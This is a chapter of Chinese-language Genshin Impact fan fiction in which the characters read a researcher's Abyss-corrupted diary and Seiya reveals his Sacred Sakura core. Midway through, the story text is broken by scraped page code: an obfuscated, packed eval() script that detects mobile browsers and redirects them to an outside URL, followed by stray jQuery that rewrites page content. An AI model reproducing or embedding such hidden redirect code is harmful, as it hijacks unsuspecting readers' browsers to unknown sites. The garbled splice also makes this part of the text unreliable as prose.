月见里清也说话声音不大，不管是一旁空和派蒙，还是通讯器那端的月见里凪和，都被这句话敲的心头一颤。


    的确，包括月见里清也自己在内，自从处理这件事开始，就没有把“导师”本人放在心上，如果这件事最终不是牵扯到了斯黛拉，或许月见里清也最后会让暗线收尾这件事。


    谁也没想到这件事还会跟深渊有所牵扯。


    察觉到突然紧绷的气氛，月见里清也开口道：“别这么紧张，我也只是猜测。”


    “但这确实是能解释他能活这么久的原因吧。”空轻轻摇了摇头，语气与平常一般无二，“不用顾虑我们，我们经历的事情不比你少。”


    “也是。”月见里清也轻笑一声，手上翻阅日记的动作没停。


    后面一连好几页都是在讲实验时的数据和一些观察笔记，字迹还算工整，只不过有用的信息很少，月见里清也很快将它们掠过，直到将笔记本翻完一半，那些从一开始工整的字迹突然开始变得凌乱起来。


    【最近的实验数据都不对，该死的，到底哪里出了问题。另外，也可能是最近连轴转压力太大吧，有好几个同事都开始胡言乱语了，连带着我也总感觉身体有些不对劲，等忙完这一阵请一天假休息看看吧。


    ………


    不知道是从哪里传来的谣言，说最近请假的那些人都是被实验的深渊物质侵染了。怎么可能，我们进行实验时都穿着防护服，希望过一阵这些谣言就会不攻自破。


    ………


    又有人死了，这次不是那些实验品，是我的一个同事。我们都被骗了！防护措施根本没用！那些该死低语……连我也开始出现那些症状了，怎么办，我还不想死……我不想死……】


    月见里清也看到这里就没再往下看，一旁的空和派蒙也一言不发，他们心里都很清楚。


    精神失常、耳边出现奇怪的低语，这些都是典型的接触到深渊后出现的症状。


    空接着往下翻，后面的全都是大片乌黑的墨痕，像是有人在纸上写了什么，事后又狠狠地将其划掉，力气大得仿佛要穿透纸张，在后面几页就都留下了深深的痕迹。


    这些被划掉的黑色墨迹看不出什么，空一路快速翻过去，却不想直接笔记本的大半纸张都翻过去，直到最后几页，才出现了几句断断续续，前言不搭后语的话。


    【闭嘴！闭嘴！闭嘴！我不听！滚出我的脑子！该死的，到底是在我耳边说话。】


    【我不能信他，不能信……】


    【还有一个办法，有一个让我活下去的办法……】


    【他也是这么说的……找一个人，月见里清也……他手里有东西……可以帮助我……】


    这是最后几句能够被三人辨认出来的话，再往后剩下的都是大片墨水污渍，和夹杂在其中字迹凌乱又重复无数遍的“我不想死”。


    中控室此时没人说话，深埋在地下遗迹的实验所带着一种说不上来的阴冷，配上这本癫狂的日记，派蒙被瘆得心里发毛，“这个‘他’又是谁啊？‘导师’究竟在跟谁说话？”


    “深渊。”月见里清也抱着胳膊说，“这里他应该被深渊完全侵蚀了，深渊入侵了他的神智，将他的执念放大。”


    只是月见里清也目光停在那句“他也是这么说的”上，如果不看这句，日记中的这几句话更像是“导师”在临死之前，抓住了最后一根救命稻草。


    但加上这句，意思可就完全不一样了。


    简直是在说，深渊故意撺掇“导师”来找自己。


    所以，“月见里清也”这个名字究竟是“导师”自己想到的，还是深渊完全侵染他之后，在他脑海中投放的想法？


    “导师”本身就是个濒死的人，他活下去的执念太强，也就给了深渊趁虚而入的机会。


    从前面的日记来看，“导师”是肯定知道自己的，但多托雷绝不可能告诉他，自己的核心拥有净化深渊的能力。


    那么，他究竟是通过什么手段自己探查到的，还是深渊告诉他的？虽然深渊被称为“漆黑的意志”，但它真的有独立的想法吗？即便有，那它为什么要帮助“导师”将目标锁定在自己身上？


    “我有一个问题。”空突然伸手按住日记，打断月见里清也的思绪，“从一开始我和派蒙直到的消息是：‘导师’要回收作为试验品的你。现在我们都知道这不过是幌子，可一个被深渊侵染的人，为什么他最后的执念是要来抓你？”


    月见里清也抬眼看向空，那双经常含着笑意的狐狸眼，此刻笑意全无，难得能从中看出几分认真的模样。


    他对待合作伙伴的态度向来都是用人不疑，也能感觉得到空和派蒙已经放下对自己的警惕，那么相应的，他不该继续隐瞒神樱核心的事。


    只是神樱核心对月见里清也来说，是他全身上下唯一的弱点。


    除了月见里凪和之外，将自己的弱点暴露给他人，这件事本能的让月见里清也本感到心慌。


    通讯器的连接没断，月见里清也听着耳边的杂音，月见里凪和不知道在忙什么，似乎暂时没有留意他这边的动静。


    “我不会替你做决定，清也。”出乎意料的，耳边传来了熟悉的声音，月见里凪和刚跟纳西妲说完情况，正在一旁等消息。


    他这边听不到空说了什么，只是在听到“深渊”时就猜测到神樱核心会是一个绕不开的话题，也可以算一瞬间心有灵犀吧，他只觉得此刻该说这句话。


    听月见里清也那边还没有动静，月见里凪和想了想，又补了一句：“实在觉得难以启齿的话，我在听。”


    月见里清也失笑，小声嘟囔着：“都说了，不要把我当小孩子哄啊。”


    片刻后，月见里清也轻轻地叹了口气，对空和派蒙说：“你们应该知道，我的‘母亲’是八重神子吧。”


    空点点头，“神子曾经提过。”


    月见里清也语气轻松，但是他无意识攥紧的右手还是暴露了他的紧绷，“那她肯定没和你说，构成我身体的原材料是神樱树吧。”


    “你们在稻妻旅行过，神樱树的特殊我就不再多赘述了。我和月见里凪和不同，在我的身体里，有一颗维持我生命而存在的‘核心’。”月见里清也继续说，“在提瓦特法则的作用下，人偶会拥有与人类一般无二的身体，这也就意味着，我现在的身体已经完全丧失了神樱原本的能力。”


    “唯独这个例外。”月见里清也说着，缓缓松开紧攥的手，轻轻按在左侧胸口上。


    稻妻的神樱树给空留下的印象极为深刻，他几乎是立刻就明白了月见里清也话中的意思，“也就是说，你的核心拥有净化深渊的能力？”


    月见里清也点点头，他没再多余解释其他的，话锋突然一转，“正因如此，多托雷盯上我很久了，大概一百年前吧，在一次探索深渊的任务中，他设计支开我哥，对我下了手。只不过最后因为一些意外，他没得手，只拿走了一小块核心断片。”


    空说：“但这一小块断片，就已经足够他进行研究了吧？”


    “嗯。”月见里清也坦然地一点头，回道，“这也是我为什么有耐心陪着这位‘导师’玩的原因，我想知道，多托雷究竟用断片研究出了什么东西。”


    如果仅仅是靠着断片，多托雷就已经发现了核心的净化和将记忆装化为能量的功能，那么在青羽澈给了他完整的核心后，他又要发现什么惊天动地的“真相”？


    “但从这本日记来看，‘导师’好像还没来得及研究，自己就先已经疯掉了呢。”派蒙愁苦的皱起了眉。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764485|176541||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“没关系，就算他不疯，也不见得他知道什么重要消息，多托雷可没那么慷慨，核心断片的存在怎么可能会被手下的一个小研究员知道。”月见里清也宽慰着派蒙，但他说出口的话适得其反，非但没有解开这乱成一团的毛线，反而将其揉得更乱了。


    派蒙听得出来月见里清也是故意的，气得在空中跺了跺脚，“这难道不是在说，‘导师’知道核心的事更可疑了吗！”


    “但我们目前处理的事，可没陷入死胡同。”月见里清也说着重新看向操作台，里面装载的系统像是几十年前的老古董，用着又迟钝又卡，连调取监控记录这样的操作都要卡上半天。


    月见里清也耐性还不错，但对这对这系统，还是没忍住叹了口气，又把视线收了回来，“别忘了，我们是来救斯黛拉的，不是来探究‘导师’的悲惨人生的。”


    屏幕上的进度条以龟速缓慢前行，过了好一会，终于弹出了监控页面。大大小小数十个监控画面全都平铺在三人眼前，月见里清也直接将时间往前调。


    “快看那里！”派蒙突然出声，指着右下角一个画面。


    只见一间灯火通明的实验室内，几个穿着教令院学者袍的人站在那些能量转换装置前，进行着操作调试。他们的脸色在灯光下显得格外难看，身边还有几个手持武器的镀金旅团成员守着。


    空快速扫过其他监控画面，眉头紧皱，“不止这一间，所有有着转换装置的实验室都有学者在操作设备。”


    月见里清也的目光则停在一个稍小的画面上，那似乎是一个隔出来的临时休息区，斯黛拉那一头金发和垂在身后的尾巴过于醒目，月见里清也想看不见都难。


    画面中的斯黛拉和其他几个学者靠墙坐着，和他人相比还算镇定，只是看上去格外疲惫，但没有明显外伤。


    月见里清也见状微微松了口气，只是还不等这口气完全吐出去，监控中的画面就陡然生变。


    几乎是在同一时间，守着学者的镀金旅团就像是突然收到了什么命令，从监控画面边缘走上前，粗暴的拉开了正在操作设备的学者，将他们赶至休息区，与斯黛拉等休息的学者汇合，然后被统一押送着，朝着监控范围之外的走廊深处走去。


    月见里清也手指一动，按下了暂停键，三人看向左上角的时间，正好是他们刚刚到达研究所大门前的那一刻。


    “他们把所有人带走了，是因为察觉到我们闯进来了？”空说着，看向一旁一直保持沉默的月见里清也，只见他抬着头，漫无目的扫视着整个中控室，不知道在看些什么。


    最终，月见里清也的视线定格在了一处角落里，“看来，我们的这位‘导师’先生虽然人不在这里，但是眼睛却一直看着这边呢。”


    他话音刚落，一滴水珠如离弦之箭一般飞了出去，直接将一旁的储物柜击穿，连同监视器在内，一并毁了个干净。


    监控录像记录着学者被转移的路线，简直就像“导师”故意给他们留下的提示，而他本人就这么躲在幕后，偷窥着他们的一举一动。


    这对月见里清也来说，简直就是明目张胆的挑衅。


    知道了学者的下落，追上去势必会跟导师正面相对，派蒙心里还惦记着之前有关深渊和核心的对话，临出发前突然开口问道：“被深渊侵染后的他应该不具备正常人的理智了吧，你要怎么让他交代博士的研究数据？”


    “你好像误会了什么，”月见里清也回头看她，“是核心拥有净化的能力，不是我，想要净化污染，我自己就会被率先侵染，我还没有为一个毫不相干的人付出生命的打算。”


    说到这里，月见里清也脸上又露出了那副满不在意的笑，“况且，就算这次一无所获，也没关系，早晚有一天，我会让多托雷亲口告诉一切。”